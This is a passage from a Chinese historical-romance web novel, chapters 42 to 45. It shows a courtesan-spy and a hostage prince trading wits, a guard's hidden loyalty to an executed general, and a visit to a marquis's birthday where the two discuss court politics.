茶楼上空了,殷戈止一扫多余的表情,轻哼了一声,捏着茶杯抿了一口便起身。
风月醒了,正坐在屋子里把玩个东西呢,就见殷戈止开门进来。
“公子哪里去了?”娇嗔一声,风月道:“奴家还以为您今儿不来了。”
“喝了个早茶而已。”殷戈止问:“何愁已经在搬东西了?”
楼下后院门口停了好些马车。
“是啊。”风月颔首:“赵家公子也是大方,想来不会委屈何愁。”
不会委屈?殷戈止嗤了一声,那赵悉风流成性,后院的小妾都不知道有多少,何愁这样的青楼姑娘,进去当真不会委屈?
不过想想这些姑娘是做什么的,他也就不多操心了。
“昨儿公子问了奴家好些事情,奴家现在也想问公子一件事儿。”起身去抱着人家胳膊,风月抬头眨巴着眼睛道:“您到底是怎么察觉奴家有异的?”
知道死在哪儿,她也好改进啊,被他发现还有生路,被别人发现那才是真的死定了。
轻哼一声,殷戈止道:“银子。”
微微一愣,想起灵殊丫头跟自己哭诉的银子被**抢了的事情,风月咬牙:“还当真是你干的!”
又不用尊称?睨她一眼,殷戈止道:“用银子包纸条,你很聪明。”
背后冷汗又开始渗了,风月咽了口唾沫。
也不知道他这话是夸她还是夸他自己,这法子最早算是殷大皇子发明的,为了保证战报在传递过程中不出现意外,就将战报塞在刀柄和剑鞘里,让传令兵带着上路,饶是传令兵**了,敌军也找不到战报。
她活学活用,这不就把纸条塞银子里,让灵殊去买郑记的绿豆糕么,外人的确也发现不了啊,谁知道遇见了祖师爷。
不能说她失算,只能说是运气不好。
“纸条太轻,银子分量会不对,你没告诉你的丫鬟实情,每次给她的银子都是裹着纸条的,你的丫鬟也就理所应当地觉得一两银子就该是那种分量。所以后来接到我的银子,她觉得不对劲。”
闲散地坐在凳子上,殷戈止慢悠悠地道:“我只是试探了一下有没有这种可能,毕竟那老板娘与人接触,光天化日众目睽睽,只有银子能传递东西,没想到蒙对了。”
风月:“……”
瞧着这人脸上气定神闲的样子她就来气,仿佛别人精心的设计在他看来就是老旧的套路,随便蒙一蒙就能破解的。
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好在自己有心理准备,从遇见这个人开始就没抱太多侥幸心理,被发现了就摊梦回楼的牌,坦诚相待,投入他的麾下。
直到现在,身为魏国百姓的风月,依旧相信跟着大皇子是不会输的。
姑且跟着他吧。
转脸一笑,风月伸手就给他捏肩:“公子真是神机妙算,慧冠一方,奴家甘拜下风,愿为公子驱遣。”
“嗯。”漫不经心地应了,殷大皇子指了指左肩:“用力。”
嘴角抽了抽,风月将自己的手伸到他面前:“公子,您忘了吗?奴家还带着伤呢,虽然是恢复得不错,可要用力也难了点啊。”
依旧包得严严实实的手,只露出手指在外头瞎晃,殷戈止瞧着,抿唇道:“你倒是厉害,没好全的手,也能一直这么折腾。”
风月嘿嘿直笑:“反正奴家除了**,什么都不会,不弹琴也不作画,手废了也不碍事,还能动就行。”
可真是心大啊,殷戈止眯眼。
“主子。”正聊着呢,观止进来,看了风月一眼,小声在殷戈止耳边道:“干将带来了。”
说小声也不是很小声啊,她恰好就听见了啊!风月咬牙,脸色有点难看,没敢回头。
一个身形威猛的人恭恭敬敬地低头进屋,朝着殷戈止就跪了下去:“主子。”
殷戈止没回头,也没让风月下去,直接开口:“我待你不好?”
干将咬牙,摇头:“主子待属下,恩重如山。”
“嗯,那你这算是恩将仇报?”
没明说是什么事情,但看一眼旁边的风月,干将额头上的汗水刷刷地就往下掉:“属下……不敢。”
风月很想平静,但看见干将,她还是没忍住手抖。
这一抖,殷戈止就伸手上来覆住她的手,按在他的肩膀上,慢慢回头看了干将一眼:“那我能知道,你背叛我的原因吗?”
嘴唇发白,干将连连磕头:“属下没有害主之心,只是……这梦回楼办事一向很快,属下以为,能解主之忧。”
“哦?”侧头看了风月一眼,殷戈止目光温和:“梦回楼办事快原来已经有名声了?那我怎么不知道?”
喉咙微紧,风月咬牙,心思转得飞快,立马就叹了口气。
这气叹得是惆怅感慨啊,听得殷戈止挑眉,睨着她道:“有话就说。”
“奴家想夸您的人呢。”扭身坐在他大腿上,她笑道:“梦回楼接过很多客人,也留下过客人很多的东西,唯独这位公子,来过我梦回楼,但不知身份,也没留下信物,若是哪天有人想害公子您,奴家一定拿不出东西来。”
干将嘴角抽了抽。
“你的意思。”转头看向地上的人,殷戈止温柔地问:“他也喜欢来梦回楼啊?”
风月眼也不眨:“对啊!在奴家还没挂牌的时候,就勾搭上奴家了!”
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第42章 救命的恩人
干将的脸,在听见这句话之后,瞬间从白变得通红,又变得发青。然后低着头,一声也不敢吭。
殷戈止面无表情地看着她。
风月朝天叹了口气,努力陷入回忆:“那是几个月前的一天了,这位公子来梦回楼玩,恰好在后院碰见奴家,当即就被奴家闭月羞花、沉鱼落雁的美貌给震惊了,于是想跟奴家一夜春宵。”
殷戈止眉梢动了动,干将觉得背后一凉,忍不住就反驳:“没有!”
“是没有度成啊,但是公子在梦回楼留宿了啊。”风月眨眼,一本正经地瞎掰:“那晚奴家试探了公子一晚上,公子也没泄露自己的身份,倒是察觉了奴家这梦回楼的秘密,之后,也就偶尔在遇见棘手之事时,过来找奴家帮忙。”
殷戈止表情麻木,伸手撑着下巴,跟看唱大戏似的看着她。
咽了口唾沫,风月挺直腰杆:“奴家可没撒谎,这位公子只不过来找奴家帮了两次忙。因着忌惮他将秘密泄露,奴家也就都应承了,本还有些慌张,怕他是什么坏人,结果是公子的人啊!奴家对公子的仰慕之情真是如滔滔江水绵绵不……”
“闭嘴!”听够了,殷戈止瞥她一眼,转头看向地上还跪着的人:“你说。”
干将一脸心如死灰的表情,抬起头来看着他:“属下无话可说。”
还能说什么啊?啊!这么离奇的故事都被关风月给编出来了,他难不成还去丰富故事情节啊?
“你是同我出生入死的兄弟。”殷戈止淡淡地开口:“那么多场仗都跟我一起打过来了,刀剑你都肯替我挡,我实在想不出你背叛我的理由。”
风月垂眸,老实地捏着帕子站在一边。
干将是魏国前锋营副将,武功高强战功赫赫,所以殷戈止信任他,即便来了魏国,也带着他,让他做暗卫。
其实在魏国继续留着,哪怕奔波些,地位也是比暗卫高的,但他自愿跟他来吴国,隐入暗处,不显人前。这样的人,功名利禄于他都是浮云,但美色的话……
微微侧头看一眼风月,殷戈止觉得,风月说的话也许是真的。干将来过梦回楼,无意中发现梦回楼是个情报传递之所,毕竟他现在做的也是这个,观察起来比他细致。
发现之后,与他无关的事,就没有在意,只在接到他某些困难的任务的时候,才想起来这儿找人帮忙。毕竟这一年来,干将知道他所有的事情,真要背叛,不可能在这个时候才背叛,还做的是有益无害的事情。
基于对干将的信任,殷戈止强行说服了自己,并且觉得很有道理,就应该是这样,不然也不会有别的可能了,干将只忠于他,没有人能从他手里抢人。
“罢了。”他道:“下次有这样的事情,你也该提前告诉我。”
已经不抱什么希望的干将在听见这句话的时候惊呆了,但想了想,还是镇定地朝殷戈止磕了头,然后出门。
“公子,来尝尝这个啊。”劫后余生,风月连忙笑得跟朵花似的,端了点心就凑到他面前去。
殷戈止安静地看着她,目光流转,连她一根头发丝儿都没放过。风月笑着,身子却紧绷,恍然有种被他看穿的惊悚感。
然而,打量她一圈之后,面前这人什么也没说,拿了糕点就吃。
心口猛地松下来,风月觉得,多伺候这人几天,自己可能都得短命几年。
已经短命了几年的干将从梦回楼的后门出去,无声无息地进了郑记糕点铺。
看一眼他的神色,老板娘郑氏脸上笑容不变,让掌柜的来看着前头,然后便跟着去了楼上。
“出事了?”递了帕子给他,郑氏皱眉问。
擦着头上的汗水,干将眉头皱得比她还紧,缓了半晌才道:“那丫头怎么会跟殿下撞上了!”
郑氏一顿,叹息:“大概是缘分吧。”
“说什么缘分!要是被发现身份,她哪里还有活路在?”眼睛都红了,干将压低着声音,嗓子发紧:“关将军一家上下,都是殿下监刑处斩的,在殿下心里,将军是叛国之人,他的女儿,你说他会放过吗?”
郑氏也很担心,擦了擦手坐在旁边:“那怎么办呢?这遇都遇见了,咱们担心这些也没用啊。大小姐很机灵的,应该没事。”
那点机灵,在殿下面前,当真有用吗?干将死死地闭眼,长叹了一口气:“你小心遮掩就是,晚上知会其他人,你们都是**了,过去的事情,就当全忘了,别露出丝毫破绽。我不能久留,先走一步。”
“是。”满脸愁容地应了,郑氏跟着下楼,一到人前就换了张脸,伸手塞给干将一包点心:“客官下次再来啊~”
干将颔首,走得头也不回。
他发过誓一生只效忠大皇子殿下,但,关将军救过他的命。
他是前锋营的副将,前锋营跟着大皇子征战过,自然也跟着关苍海征战过,彼时他还是个小将,双方对阵之时冲得太快,四周都是敌兵,打得狼狈不堪。精疲力尽快要成刀下亡魂之时,是那满脸络腮胡子的关大将军,策马闯过来,一刀横陈,救了他下来。
他还记得,那人把他拉上马,笑得粗声粗气地夸他:“好小子!够勇猛!”
在沙场上一起浴血奋战过的人,都会有一种特殊的感情和信任,所以当所有人都觉得关将军是当真叛了的时候,他没有。
他在家里偷偷供奉关将军的灵位,每天给他上香,因为他知道,关家上下,满门忠烈,已经一个都不剩了,他要是不供,英魂都无归处。他想过给大皇子进言,然而战火又起,殿下根本无暇再顾其他。再者,他也是一介莽夫,根本说不了什么条理清晰的话。所以他觉得,关家可能是要蒙冤千古了。
然而,跟着大皇子初到吴国之时,关清越联系上了他。
或者说,是关风月。
那传闻里敢爱敢恨,潇洒不羁的女将军,穿着一身红纱袍,顶着满头珠翠,笑眯眯地问他:“将军,我爹的灵位,可不可以拿给我?你带着不方便。”
现在想想,风月可能是一早就知道,总有一
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天会与大皇子遇见,所以找上了他。但是,她怎么知道他在供奉关将军的灵位?
不管怎么说吧,从这些事儿来看,至少关风月是个很聪明、也早有打算的姑娘,他担心没用,她要是都会暴露在大皇子面前,那他更是没什么法子能遮掩。
心乱如麻,干将叹息一声,干脆不想了,加快步子,回到自己该去的地方去。
殷戈止吃饱喝足,心情不错,拎着风月一起去了校场。
安世冲和徐怀祖早早地就来练习剑法和刀谱了,瞧着身法,真是又努力又有天赋。
“殿下的运气一向很好。”风月忍不住道:“就连随便收的徒弟,也是根骨奇佳。”
谁告诉她,这是他随便收的了?殷戈止轻哂,看向安世冲。
“师父!”那边两个人也看见他们了,立马收了刀剑,齐刷刷地过来行礼。
“练得不错。”殷戈止颔首:“世冲进步很大。”
“谢师父夸奖。”安世冲笑了,开心得很,旁边的徐怀祖不高兴了,扁嘴道:“师父,徒儿也有进步啊。”
“没人说你没长进,只是世冲明显比你练的时间长,所以下盘更稳。”殷戈止伸手敲在他手背上,长恨刀便脱了手,落在他掌心。
“看着。”
徐怀祖一怔,愕然地低头看了看自己的手,喃喃道:“我还说这刀打死不脱手的!”
风月低笑:“那是你师父的空手夺白刃,不用打死,你也拿不住。”
安世冲点头:“连风月姑娘都看得懂,瞧你这出息。”
捏捏手腕,徐怀祖撇嘴,不情不愿地看向自家师父。
不看不知道,一看他又愕然了。
殷戈止在耍刀,一招一式,都是给他的刀谱上画着的。可同样的招式,为什么他耍起来就跟街头卖艺的人似的,在师父那儿,就是一套精悍的武功绝学?
大风飞扬,风月带着欣赏的目光看着殷戈止,他的身躯其实一点也不壮硕,罩着白衫还能装一下文弱书生。但摸过才知道,这人身上每一寸的肉都很紧实,能迸发出很可怕的力量。
比如眼下,这横刀一扫,极为简单的动作,他能将刀挥得四平八稳半点不晃,过处虎虎生风,扬起一片沙子,将风月扑了个灰头土脸。
抹了把脸,风月鼓掌:“公子真是文韬武略,上天入地,无所不能!这一套刀法精妙绝伦,在公子手里,更是所向无敌。”
安世冲和徐怀祖本来还打算恭维的,但是没想到,所有能恭维的词,全被风月给用了,两张无辜的稚嫩的脸,目瞪口呆地看着她。
收了刀,殷戈止又嫌弃地扫了风月一眼,然后走回他们面前,把刀还给徐怀祖。
“师父!”回过神来,安世冲道:“明日是家父五十大寿,不知师父可否赏光,驾临寒舍,喝一杯薄酒?”
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第43章 小气的人
安国侯府的酒可不是谁都能喝到的,风月眼睛都亮了,很想替殷戈止点个头!安国侯可是吴国皇帝的挚友啊,那关系好得,一句话顶得上言官十本奏折!但也正因为如此,安国侯府鲜少与人结交,上门之人也不得谈政事。
跟这样的人结交,有益无害啊,说不定什么时候还能捞回自己一条小命。
然而,殷戈止看了安世冲一眼,摇了摇头。
期盼的眼神顿时黯淡下来,安世冲低声问:“师父有事要忙吗?”
“没有大事,只是君子言而有信,我答应了明日一整天都陪着风月。”面不改色心不跳地胡扯,殷戈止道:“既然答应了,就不能食言。”
微微一愣,安世冲瞬间释然:“原来是这样,这是小事啊,师父可以带风月姑娘一同前往。”
风月吓了一跳,连忙摇头:“这叫小事?奴家是什么身份?哪有资格进侯府啊,再说了,跟大皇子一起进去,定然是会被人查来处的,要是有人将奴家的身份捅到侯爷那儿去,岂不是要让殿下背个不敬之名?”
安世冲眼神又黯淡了下去,皱眉半晌没吭声。
徐怀祖一巴掌拍在他背上,笑道:“这有什么难的?且让风月姑娘扮作师父的丫鬟,不就好了?”
若是当成并肩的女子带进去,那定然是要暴露身份的,可若是丫鬟,那就无所谓了,谁还不带两个丫鬟去伺候啊?
“正好,我先前还跟家里的人提过,说给师父选个丫鬟,好歹可以做饭,也不至于让观止大人那般操劳。如今带风月姑娘去,就说是我送的,也顺理成章。”徐怀祖笑嘻嘻的,说完就看着殷戈止:“师父觉得如何?”
还能如何啊?风月撇嘴,本还以为他是脑子抽抽不想去,谁知道是在这儿哄骗小孩子,逼得人家两个单纯的少年连台阶都给铺好了,就等着这位大爷下,不下还是人吗!
“如此,那为师也只能去了。”殷戈止勉为其难地颔首:“风月也准备一番吧,到底是侯府,规矩森严,你也别给我丢人。”
“多谢殿下,奴家明白。”风情万种地颔首应下,风月捏着帕子,心里疑惑得很。
让她一起去做什么?她这种现在手无缚鸡之力的人,带着不是累赘吗?大好的机会,他该去跟人家侯爷谈谈人生理想,聊聊大好河山啊!
安世冲高兴了,眼里都满是光亮,看得风月一阵唏嘘。
现在的小年轻也真是满腔热血,单纯善良。就因为殷戈止武功厉害,有点牛逼的过去,就这么崇敬他,也不仔细看看他是个什么人。
不过,一般人仔细看,也的确看不出他的本性,只会觉得这人沉默寡言,颇有高手风范。只有她,能穿透他这皮囊,看到殷戈止黑漆漆的心肠。
离开校场,殷戈止二话没说就带她往使臣府的方向走,路过成衣店啊首饰铺之类的地方,还停下来,进去买点东西。
“公子。”风月赔笑:“奴家上不得台面的,带奴家去那种地方做什么啊?”
伸手把东西都放在观止的怀里,殷戈止勾手示意她过去。
“嗯?”凑脸到他面前,风月眨了眨眼。
殷戈止认真地低声道:“都是大尾巴狐狸,你给我装什么兔子?在我面前都天不怕地不怕,你还怕镇不住场子?”
嘴角抽了抽,风月掩唇一笑,呵呵地道:“奴家哪里不怕了,奴家这样身世飘零无权无势的姑娘,哪里敢……”
“少废话!”睨着她,殷戈止这凌厉的眼神仿佛能直接穿透她到对面的墙上打个洞出来:“你不想去侯府?”
怎么可能不想呢?这种高门之地,有机会能去,那肯定是不去白不去,但是瞧着面前这人,她总觉得心里不踏实,像是被他捏在手里的棋子,不知道自己会被放在什么位置。
“公子要奴家去,奴家定然会去。”笑了笑,风月勾住他的手臂:“只是,奴家该说的都已经说完了,您不会还不信任奴家吧?”
一听这话,就知道这小妖精戒心未除,殷戈止抿唇,低下身子眼眸深邃地看着她:“我信不信任你,你明日去了就知道。”
她的筹码已经给出来的,他的可还没有亮给她看呢。上位者,若是实力不够,怎么让人甘愿追随?
两人已经隔得很近,风月一瞬间啥想法都没了,看着他这张张合合的薄唇,下意识地就含了上去。
殷戈止僵了身子,瞳孔一缩。
四周的车水马龙、人声鼎沸好像在这一瞬都停住了,他眼前是她含笑的眼睛,唇上温热,有不老实的小舌头,直往他牙关闯。
观止也傻眼了,反应了好一会儿,才抱着一大堆东西替他们挡着路人的目光,红着脸道:“主子,这是大街上呢!”
他当然知道是大街上,吻过来的又不是他!殷戈止微恼,一把将人扯开,冷声道:“你不要脸,我还要。”
眨眨眼,风月笑眯眯地道:“公子实在秀色可餐,奴家没忍住,造次了。”
“……”
头一回看自家主子接不上人的话,观止惊叹不已,抱着盒子就凑到殷戈止旁边去,小声道:“主子,您别害羞啊,这种事儿是姑娘吃亏,您又不吃亏!”
“你哪只眼睛看我害羞?”殷戈止冷着脸道:“没有。”
虽然很不想拆自家主子的台,可这样的主子实在千年难得一见,他忍不住就戏谑了一句:“您耳根子红了。”
殷戈止停了步子。
风月正暗骂自己不要脸呢,冷不防就感觉旁边的人不走了。
“怎么了?”她心虚地问。
该不会是反应过来了,现在要揍她吧?
“买点东西。”指了指旁边的铺子,殷戈止面无表情地对观止道:“进来搬。”
抬头看了一眼,是个瓷器铺子,大概是想给安国侯爷买贺礼吧?风月没多看,继续低头沉思。
不到一炷香的时间,殷大皇子就潇洒地走出来了,背后跟了一个巨大的花瓶,瞧着贼沉。
“哇。”风月眨眼:“这家店的花瓶这么厉害,能自己走路?”
“姑娘……”虚弱的声音从花瓶后头传出来,观止颤颤巍巍地道:“花瓶怎么可能
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走路,会走路的是属下……”
这啥情况?风月没看明白,就见殷戈止心情甚好地道:“店里伙计忙,不送货,观止力气大,就他拿着便是。”
抬头看了一眼铺子里闲得看热闹的伙计,风月呵呵笑了两声:“您真是体贴。”
“过奖。”微微颔首,殷戈止大步就往前走,还甩下来一句:“别磕地上了,这个是要当贺礼的,沾不得灰。”
观止:“……”
同情地看了他一眼,风月连忙提着裙子追上前头的人,殷勤地问:“您晚上想吃点什么啊?”
殷戈止道:“酱烧猪舌。”
风月:“……”
有一句话怎么说的来着,宁得罪君子,也莫得罪殷大皇子!此人心胸极窄,报复心极强,手段阴毒,一旦惹上,不知道什么时候就倒霉了。
心有余悸地看一眼背后的大花瓶,风月决定晚上好好讨好一下这位大爷。
叶御卿不去梦回楼了,风月就得了空闲,在使臣府提前混混,装个丫鬟什么的,适应适应角色。
殷戈止也当真没客气,府上所有的活儿,瞬间就从观止那儿转移了一半到她头上。
“主子。”灵殊瞪着好奇的大眼睛看着她:“这府上为什么没别的下人啊?”
翘着二郎腿躺着晒太阳,风月道:“主人抠门,不给发工钱,自然就没别的下人了。”
抠门的主人站在院子门口咳嗽了一声。
晃悠着的脚一僵,风月紧了身子,慢慢地把腿放下来,然后起身,飞扑到殷戈止面前,朝着人家就是一个狗腿十足的大礼:“公子您来啦?”
拿眼尾扫着她,殷戈止问:“打扫干净了?”
风月笑道:“您这客院虽然不住人,但观止也是时常打扫,并没有多脏。这不,清理一番就能住了。”
脑子里仿佛有什么东西闪过去,风月一顿。
客房?灰尘?
“既然能住了,那就好生收拾,明日我要看见个端庄的丫鬟。”殷戈止的声音打断了她的思绪,看她有点走神,还瞪了她一眼:“听见了吗?”
“听见了听见了!”被这一打岔,风月死活都抓不住那点一闪的灵光了,干脆媚笑:“奴家一定不会给您丢人的。”
“是奴婢。”
“奴婢明白!”
点点头,殷戈止领着她去饭厅,灵殊麻溜儿地就去厨房端菜,按照自家主子的吩咐,啥也不多说,老老实实做事。
“梦回楼下毒一事,已经在衙门立案,方才有人来传话,说朱来财已经被关在了大牢。”殷戈止道:“三司使那边还没有动静。”
“衙门什么时候抓人这么果断了?”风月一边刨饭一边道:“按理说三司使府上的人,没那么好抓啊。”
殷戈止没吭声。
有叶御卿在,山稳河绝对不敢拦,并且,也绝对不敢救。
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第44章 安国侯府
“其实还有个问题,奴家不是很明白。”一边盛饭,风月一边道:“朱来财虽是对您下了**,但您要杀了他的方法实在很多,做什么要这般费事?”
看她一眼,殷戈止没说话,眼里却满是嘲讽,看得风月当即一个寒颤,撇嘴道:“奴家就是问问而已嘛!”
“你不是在查山稳河吗?”他道:“揣着明白,给我装什么糊涂?”
那锭银子落在了他手里,她在查山稳河的事情他自然也就知道,怎么就把这茬给忘了,白给人嘲笑一回!
咬咬牙,风月从善如流地笑:“奴家只是对山大人很感兴趣,毕竟是当朝三司使,掌管钱粮,却不知道您是怎么想的。”
想用朱来财,吊个山稳河?不好吊啊,山稳河一旦弃车保帅,剩下个朱来财,能有什么用?
她盯准山稳河,是因为此人与太子的关系不太好,先前就有恩客在醉酒的时候说,太子的命令和山稳河的命令不同,下头的人却都得听,实在为难。
这么一说,太子肯定也对山稳河有点兴趣,要是她能提供点什么线索,叶御卿也该更看重她一分。
没想到却被眼前这人给截胡了!
眼睁睁看着风月盛了第三碗饭,殷戈止沉默了片刻,若无其事地端起茶抿了一口,然后道:“你该做什么就做什么,不必知道我怎么想的。”
那我杀了您行不行啊?——要是再借给她一百个胆子,她也许就把这句话说出口了。
然而,很遗憾,胆子不够,风月只能乖乖巧巧地应了,然后吃饭。
饭后,风月带着灵殊就回了客房,摸着灵殊的小脑袋道:“在这儿住,老实点,别乱跑知道吗?”
睁着一双无辜的眼睛,灵殊道:“这院子这么大,又这么空,翻跟斗都没问题啊,为什么不能跑?”
小孩子就是天真啊!风月拎着她到客院门口,捡起块石头,朝围墙的方向一扔!
“刷”地就有个人影飞出来,怔愣了一下,又消失无踪。
灵殊看得目瞪口呆:“好厉害啊!”
“你以为这是什么地方。”抱着她,风月皮笑肉不笑地道:“厉鬼之穴,焉能无牛蛇之辈。”
这种话灵殊是听不懂的,反正就记住了自家主子说的不能乱跑,然后就乖乖地去打水,伺候自家主子休息。
“殿下。”跪在主屋里,观止委屈极了:“属下的手只是很酸,但是没有废,还是能伺候您的。”
床边坐着的人就着灯光看着书信,漫不经心地道:“一个人伺候就够了。”
“那……”那凭啥是风月姑娘去,不是他去啊?
低头想想,观止发现了个严重的问题,那就是人家会做菜,长得好看,还能暖床。而他,除了打架,什么都不会!
“主子!”眼泪儿都要出来了,观止道:“属下再也不敢惹您生气了,您还是让属下继续伺候吧。”
这语气凄惨得,活像是要被抛弃了的女人。
殷戈止终于抬头,看着他道:“只明日不带你罢了,这么激动做什么?”
只明日?观止愕然:“那之后呢?”
“之后,她回她的梦回楼,咱们该做什么做什么。”殷戈止疑惑地看着他:“不然你以为是要如何?”
惊讶地看了自家主子一眼,观止沉默了。
这使臣府里头一次住了别的人进来,他还以为主子会给风月姑娘赎身,以后就同她一起过了,结果谁知道……
要是风月姑娘知道,那该多伤心啊,都住进来了,结果自家主子还要把她送回去。给人希望又让人失望,那比让人绝望还残忍啊!
唏嘘了片刻,观止还是老老实实地起身伺候自家主子歇息。主子说什么就是什么,他可不想再抱着那么大的花瓶走完十条街了。
天色破晓,又是新的一个黎明,殷戈止刚睁开眼,就看见个良家妇女在冲他笑。
“公子,奴婢伺候您起身。”
杏红色的齐胸襦裙,活泼俏皮的双螺髻,风月薄施妆粉,一双眼睛水灵灵的,没了那狐媚的眼尾形状,显得格外干净。
殷戈止起身,打量她两眼,刚睡醒的嗓音格外沙哑:“还不错。”
“您买奴婢回来,不就是看上奴婢这还不错的样子了么?”上一刻还正正经经的小丫鬟,下一瞬就又朝他抛了个媚眼,捏着帕子嘤嘤嘤地道:“可怜奴家二八年华,就被您占了身子,再寻不得好人家呀呀呀——”
唱戏似的尾音,听得殷戈止眼皮直跳,接过她递的茶漱了口,往旁边“呸”了一声:“好生说话!”
“是!”立马正经了神色,风月双手叠在腰侧,朝他屈膝:“贺礼已经先送去了安国侯府,按照路程来算,咱们这儿乘车慢悠悠地过去,也只要半个时辰,所以您还可以多歇会儿。”
这可真是天生唱戏的好料子,一会儿一个样的。殷戈止轻哼,起身就道:“更衣。”
“是。”风月一笑,拿了一套青烟色的袍子过来放着,然后就伸手去解殷戈止身上的衣裳,手指尖儿不老实地在人家胸口划啊划的。
殷戈止面无表情地看着她。
要是别人的话,看这脸色,她肯定就住手了,但殷戈止这种**,只要没有身体上的反抗,表情完全可以忽略,都他奶奶的是骗人的!
于是这脱件儿衣裳,她就没少揩人家油,左捏捏右摸摸,再次感叹人家功夫就是扎实。看筋骨,可能能同时对付三个干将那样的人。
“摸够了?”瞥了一眼屋子里的沙漏,殷戈止脸色很不好看,一把掐起她的胳膊,跟捏什么似的就把她捏上了外头的马车。
“嗷!”委委屈屈地滚进车里,风月道:“丫鬟不是不能在车上的吗?”
“我说你能,你就能。”殷戈止缓缓放下了车帘。
在上路之前,风月还在感叹,大魔王也有人性啊,舍不得她迈着小碎步在外头跟着跑。
但是上路之后,她脸就青了。
“公子,这是马车上!”
“嗯。”
“咱们要去安国侯府的!”
“嗯。”
“不行……别……外头全是人!”
驾车的车夫脸
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上一阵阵发热,拉着车跑得飞快,眼瞧着要到安国侯府了,还特意多绕了点路,给后头两位收拾的时间。
安世冲正在侯府门口等着,其实按理说他是不必出来迎接的,但是殷戈止要来,对师父充满尊敬之意的小徒弟,一大早就搁这儿站着了。
“使臣府的马车。”徐怀祖眼睛尖,看见了就拍了他的肩膀一下。
安世冲回神,立马迎上去。
“师父!”
掀开车帘,殷戈止心情好像很不错,朝他们微微颔首之后,便往后头道:“丫鬟先下。”
风月两眼含泪,伸出哆嗦的手指无声的控诉了一下面前的禽兽,然后咬牙,挤出个笑容,缩下车去旁边站着。
“这是?”乍一看没认出来,仔细打量之后,徐怀祖吓得小退一步:“风月姑娘?”
“这是我的丫鬟,月儿。”殷戈止下车,一眼也没看她,径直就随安世冲朝侯府里走:“先去见过侯爷吧。”
风月努力走得正常,面带微笑地跟着,头低垂,眼睛盯着殷戈止的脚后跟,恨不得壮着胆子上去踩一脚。
昨晚她想讨好他,他非让她睡客院,说是为了今日有更好的状态进侯府,那刚刚是怎么回事儿?临时发情啊?就算她是个妓子,那也没做过这么刺激的事儿啊!
时辰尚早,侯府的人不算太多,安世冲很顺利地就引着他们去了主院。
“父亲,殷殿下前来贺寿。”
一听声音,安国侯爷转过身来,瞧见殷戈止便笑了:“稀客。”
“愿侯爷寿比南山。”到底是晚辈,殷戈止朝他行了礼,难得地乖巧。
风月没敢抬头,毕竟四周人多,所以她能看见的就是一双双的靴子。
金黑色的靴子对这边的茶白色锦靴道:“殿下能来,寒舍也是蓬荜生辉,不如里头请?”
茶白色锦靴应了:“侯爷请。”
于是旁边两双兴致勃勃来炫耀师父的黑色皂靴就愣住了,还没介绍呢,怎么就像很熟似的,两人就这么进屋了?
风月也很奇怪这个问题,还没想点什么呢,旁边的皂靴就踩了她一脚:“月儿,进去伺候你家主子啊。”
“……是。”
门关上,里头没别的靴子了,金黑色的靴子朝她的方向站了一会儿,疑惑地问:“这是?”
“贴身丫鬟。”茶白色的靴子答。
有“贴身”二字,侯爷也就没多说什么,笑着请殷戈止坐下。风月也就乖巧地站到殷戈止身后,替他倒个水啊什么的。
“难得你会来我府上。”安国侯道:“这次就不顾忌了?”
“名正言顺,又有何惧?”
“哈哈哈!”安国侯爷笑了,叹着气道:“我就欣赏你这股子沉稳劲儿,跟别的年轻人啊,一点也不一样。”
这听着,怎么倒像是很熟的样子?风月震惊了,盯着殷戈止的靴子说不出话。
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第45章 拜师的好处
殷戈止从善如流,捏着茶杯便道:“谢侯爷厚爱,沉稳不敢当,寡言而已。”
安国侯大笑,开怀得很,一双眼满是赞赏地看着他:“把冲儿交给你,我很放心。只是殿下,最近城里又起风云,您可已经寻好避难之所?”
这种话都说得出来,那绝对就不是普通客套两句的关系了。风月捏紧了手,盯着自己鞋尖,心里掀起了惊涛骇浪。
太子有意趁易大将军不在国都而斩其羽翼,巩固己方之权,这形势不少明白人都看出来了。有的明哲保身,有的趁机拥护皇权,投诚太子。
而安国侯爷,这禁止别人来自己府上谈政事的老狐狸,竟然问殷戈止,你找好避难的地方了吗?
有一瞬间她甚至要怀疑殷戈止是不是安国侯府的私生子了,不然,安国侯爷凭什么这么为一个魏国的皇子操心?
“吴国风浪,与我魏人何干?坐岸观浪,衣襟都难湿。”殷戈止淡淡地道:“倒是侯爷,身处高地,大浪必拍之。”
这声音分外镇定,慢慢悠悠地吐出来,瞬间就能安定人的心神。
风月一顿,万般杂念瞬间消失,心念微动,飞快地抬头看了面前这两人一眼。
殷戈止坐得端正,手里一盏茶,芳香四溢。安国侯面色微恼,眼有窘迫之色。
刚刚那几句话的往来,风月没太专心听,现在看着侯爷这反应,她才恍然明白过来。这哪里是安国侯在操心殷戈止啊,分明是安国侯府有难,跟殷戈止求救呢!
殷戈止是魏国来吴国的质子,身上无官无职,外人看来,除了身份特殊武功高强得圣上赞赏之外,也没别的了。但安国侯不一样,位高言重,但凡涉及争论厮杀,必定有人扯他下水选边站,若是不选,安国侯府难免成众矢之的。
这就是在皇帝面前有话语权的弊端。
堂堂安国侯爷,眼角都有皱纹的老前辈了,现在竟然冲个晚辈下套,也忒没风度了啊!
然而殷大皇子有的是风度,茶盏一放,关怀备至地道:“既然侯爷也知风浪将至,何不早做打算?”
“殿下可有好的提议?”安国侯爷盯着他,眼神瞬间充满防备,一看就是跟殷戈止交过不少次手,很了解他不要脸的本性。
眼神柔和而真诚,殷戈止道:“侯爷早年做过不妥之事,在太子之争时选了队站,虽然站对了人,但已经涉了党争,旁人便再不会当您是个想安心颐养天年的侯爷。如今太子有意与虎相争,侯爷若助太子,则涉争更重,得罪易大将军。但若不助太子,太子殿下难免就会觉得您有叛他之心,徒生对立之意。”
这就是安国侯爷最纠结的地方啊!他愁啊!头发最近都愁白了!帮谁都不对,谁都不帮也不对,外头的人都觉得他这安国侯风光得很,谁知道他心里的苦哇?
抹一把辛酸泪,安国侯爷又松了戒备,叹息着问殷戈止:“殿下可有法子,再救老夫一次?”
再?
瞬间了然,风月算是知道殷戈止为什么在吴国也能横着走了,丫在暗地里是结交了不少人啊,连安国侯爷都承过他的情。而且包括安世冲,竟然好像都不知道这件事,还当他没见过侯爷。
阴险太阴险!
“晚辈本也不欲再蹚浑水。”长叹一口气,殷戈止眼神忧郁地道:“但既然收了世冲为徒,安国侯府的忙,晚辈还是得帮。”
这师拜得好啊,他真该给他补个拜师的红包!安国侯爷满脸笑意,期盼地看着他。
殷戈止道:“既然四处都是风浪,独晚辈一人安稳无虞,侯爷何不考虑与晚辈同行?”
“与你同行?”微微一愣,安国侯思衬了片刻:“敢问殿下,意欲何为?”
